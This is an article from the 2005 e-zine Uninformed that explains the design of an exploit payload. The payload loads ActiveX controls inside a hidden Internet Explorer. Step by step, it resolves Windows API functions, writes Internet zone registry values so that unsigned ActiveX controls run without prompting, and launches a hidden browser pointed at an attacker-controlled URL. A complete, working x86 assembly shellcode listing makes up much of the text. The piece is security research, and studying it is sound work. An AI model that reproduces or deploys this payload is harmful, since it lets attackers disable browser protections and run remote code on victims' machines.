Uninformed: Informative Information for the Uninformed

Vol 1» 2005.May



The ActiveX Injection Payload

This section will describe the implementation of the payload that an exploit will send across as the arbitrary code that is to be executed once the exploit succeeds. This code will be executed in the context of the exploited process and is what will be used to facilitate the loading of an ActiveX control inside of an instance of Internet Explorer. There are, as with all things, a number of ways to implement this payload. The following steps describe the actions that such a payload would need to perform in order to accomplish this task.

  1. Find KERNEL32.DLL and resolve symbols

    The first step, as is true with most Windows payloads, is to locate the base address of KERNEL32.DLL. Determining the base address of KERNEL32.DLL is necessary in order to load other modules, such as ADVAPI32.DLL. The way that this is accomplished is to resolve the address of kernel32!LoadLibraryA. The technique used to locate the base of KERNEL32.DLL can be any one of the typically employed approaches, such as PEB or TOPSTACK. For this payload, it is also necessary to resolve the address of kernel32!CreateProcessA so that the hidden Internet Explorer can be executed.

  2. Load ADVAPI32.DLL and resolve symbols

    Once kernel32!LoadLibraryA has been resolved, the next step is to load ADVAPI32.DLL since it may or may not already be loaded. ADVAPI32.DLL provides the standard interface to the registry that most applications, and the payload itself, need to make use of. There are two specific functions that are needed for the payload: advapi32!RegCreateKeyA and advapi32!RegSetValueExA.

  3. Open the Internet zone's registry key

    After resolving all of the necessary symbols, the next step is to open the Internet zone's registry key for writing so that the individual settings for ActiveX controls can be set to the enabled status. This is accomplished by calling advapi32!RegCreateKeyA in the following fashion:

    HKEY Key;
    
    RegCreateKeyA(
        HKEY_CURRENT_USER,
        "Software\Microsoft\Windows\CurrentVersion"
        "\Internet Settings\Zones\3",
        &Key);
    

    While testing this portion of the payload it was noted that Windows 2000 with Internet Explorer 5.0 does not have the necessary registry keys created under the HKEY_USERS\.DEFAULT registry key. Even if the necessary keys are created, the first time Internet Explorer is executed from within the system service leads to the internet connection wizard being displayed. This basically makes it such that the payload is only capable of working on machines that have Internet Explorer 6.0 installed (such as Windows XP and 2003 Server).

  4. Modify IE's Internet zone restrictions

    Once the key has been successfully opened the zone restrictions for prohibiting ActiveX controls from being used can be changed. There are four settings that need to be toggled to ensure that ActiveX controls will be usable:


    Setting Value Name Description
    1001 Download signed ActiveX controls
    1004 Download unsigned ActiveX controls
    1200 Run ActiveX controls and plugins
    1201 Initialize and script ActiveX controls not marked as safe


    In order to make it so ActiveX controls can be used, each of the above described settings must be changed to Enabled. This is done by setting each of the values to 0 by calling advapi32!RegSetValueExA on the opened key for each of the individual registry values. After these values are set to enabled, Internet Explorer will, by default, download and execute ActiveX controls regardless of whether or not they are signed without user interaction. The actual process of setting of a value is demonstrated below:

    DWORD Enabled = 0;
    
    RegSetValueEx(
        Key,
        "1001",
        0,
        REG_DWORD,
        (LPBYTE)&Enabled,
        sizeof(Enabled));
    
  5. Determine the path to Internet Explorer

    With the zone restrictions modified, the next step is to determine the full path to IEXPLORE.EXE. The reason this is necessary is because IEXPLORE.EXE is not in the path by default and thus cannot be executed by name. While shell32!ShellExecuteA may appear like an option, it is in fact not considering the fact that the target machine may have Mozilla registered as the default web-browser. It should also not be assumed that Internet Explorer will reside on a static drive, such as the C: drive. Even though it may be common, there are sure to be cases where it will not be true.

    One way of working around this issue is to use a very small portion of code that determines the absolute path to internet explorer in only two assembly instructions. The code itself makes an assumption that Internet Explorer's installation will be on the same drive as the Windows system directory and that it will also be installed under its standard install directory. Barring this, however, the two instructions should result in a portable implementation between various versions of Windows NT+:

    url:
       db "C:\progra~1\intern~1\iexplore -new http://site", 0x0
    
    ...
    
     fixup_ie_path:
       mov   cl, byte [0x7ffe0030]
       mov   byte [esi], cl
    

    In the above code snippet, esi points to url. The static address being referenced is actually a portion of SharedUserData that just so happens to point to the unicode path of the system directory on the machine. By making the assumption that the drive letter that the system directory is found on will be the same as the one that Internet Explorer is found on, it is possible to copy the first byte from the system directory path to the first byte of the path to Internet Explorer on disk, thus ensuring that the drive letters are the same3.5.

  6. Execute a hidden Internet Explorer with a specific target URL

    Once the full path to Internet Explorer has been located, all that remains is to execute a hidden Internet Explorer with it pointed at an attacker controlled HTTP server. This is accomplished by calling CreateProcessA with the command line argument properly set to the full path to Internet Explorer. Furthermore, the wShowWindow attribute should be set to SW_HIDE to ensure that the Internet Explorer instance is hidden from view. This is accomplished by calling CreateProcessA in the following fashion:

    PROCESS_INFORMATION pi;
    STARTUPINFO si;
    
    ZeroMemory(
        &si,
        sizeof(si));
    
    si.cb = sizeof(si);
    si.dwFlags = STARTF_USESHOWWINDOW;
    si.wShowWindow = SW_HIDE;
    
    CreateProcessA(
        NULL,
        url, // "\path\to\iexplore.exe -new <url>"
        NULL,
        NULL,
        FALSE,
        CREATE_NEW_CONSOLE,
        NULL,
        NULL,
        &si,
        &pi);
    

    One important thing to note about this phase is that in order to get it to work properly with system services that are not able to directly interact with the desktop, the si.lpDesktop attribute must be set to something like WinSta0\Default.

An implementation of this approach can be found below. It is optimized for size (roughly 400 bytes, adjusted for the variable URL length), robustness, and portability. A large part of the payload's size comes from the static strings that it has to reference for opening the registry key, setting the values, and executing Internet Explorer. The size of the payload is one of its major benefits to this approach as it ends up being much smaller than other techniques that attempt to accomplish a similar goal[9].



Targets: NT/2000/XP/2003 

Size:  400 bytes + URL size
passivex:
   cld
   call  get_find_function
strings:
   db    "Software\Microsoft\Windows\"
   db    "CurrentVersion\Internet Settings\Zones\3", 0x0
reg_values:
   db    "1004120012011001"
url:
   db    "C:\progra~1\intern~1\iexplore -new"
   db    " http://attacker/controlled/site", 0x0
get_find_function:
   call startup
find_function:
   pushad
   mov   ebp, [esp + 0x24]
   mov   eax, [ebp + 0x3c]
   mov   edi, [ebp + eax + 0x78]
   add   edi, ebp
   mov   ecx, [edi + 0x18]
   mov   ebx, [edi + 0x20]
   add   ebx, ebp
find_function_loop:
   jecxz find_function_finished
   dec   ecx
   mov   esi, [ebx + ecx * 4]
   add   esi, ebp
   compute_hash:
   xor   eax, eax
   cdq
compute_hash_again:
   lodsb
   test  al, al
   jz    compute_hash_finished
   ror   edx, 0xd
   add   edx, eax
   jmp   compute_hash_again
compute_hash_finished:
find_function_compare:
   cmp   edx, [esp + 0x28]
   jnz   find_function_loop
   mov   ebx, [edi + 0x24]
   add   ebx, ebp
   mov   cx, [ebx + 2 * ecx]
   mov   ebx, [edi + 0x1c]
   add   ebx, ebp
   mov   eax, [ebx + 4 * ecx]
   add   eax, ebp
   mov   [esp + 0x1c], eax
find_function_finished:
   popad
   retn 8
startup:
   pop   edi
   pop   ebx
find_kernel32:
   xor   edx, edx
   mov   eax, [fs:edx+0x30]
   test  eax, eax
   js    find_kernel32_9x
find_kernel32_nt:
   mov   eax, [eax + 0x0c]
   mov   esi, [eax + 0x1c]
   lodsd
   mov   eax, [eax + 0x8]
   jmp   short find_kernel32_finished
find_kernel32_9x:
   mov   eax, [eax + 0x34]
   add   eax, byte 0x7c
   mov   eax, [eax + 0x3c]
find_kernel32_finished:
   mov   ebp, esp
find_kernel32_symbols:
   push  0x73e2d87e
   push  eax
   push  0x16b3fe72
   push  eax
   push  0xec0e4e8e
   push  eax
   call  edi
   xchg  eax, esi
   call  edi
   mov   [ebp], eax
   call  edi
   mov   [ebp + 0x4], eax
load_advapi32:
   push  edx
   push  0x32336970
   push  0x61766461
   push  esp
   call  esi
resolve_advapi32_symbols:
   push  0x02922ba9
   push  eax
   push  0x2d1c9add
   push  eax
   call  edi
   mov   [ebp + 0x8], eax
   call  edi
   xchg  eax, edi
   xchg  esi, ebx
open_key:
   push  esp
   push  esi
   push  0x80000001
   call  edi
   pop   ebx
   add   esi, byte (reg_values - strings)
   push  eax
   mov   edi, esp
set_values:
   cmp   byte [esi], 'C'
   jz    initialize_structs
   push  eax
   lodsd
   push  eax
   mov   eax, esp
   push  byte 0x4
   push  edi
   push  byte 0x4
   push  byte 0x0
   push  eax
   push  ebx
   call  [ebp + 0x8]
   jmp   set_values
fixup_drive_letter:
   mov   cl, byte [0x7ffe0030]
   mov   byte [esi], cl
initialize_structs:
   push  byte 0x54
   pop   ecx
   sub   esp, ecx
   mov   edi, esp
   push  edi
   rep   stosb
   pop   edi
   mov   byte [edi], 0x44
   inc   byte [edi + 0x2c]
   inc   byte [edi + 0x2d]
execute_process:
   lea   ebx, [edi + 0x44]
   push  ebx
   push  edi
   push  eax
   push  eax
   push  byte 0x10
   push  eax
   push  eax
   push  eax
   push  esi
   push  eax
   call  [ebp]
exit_process:
   call  [ebp + 0x4]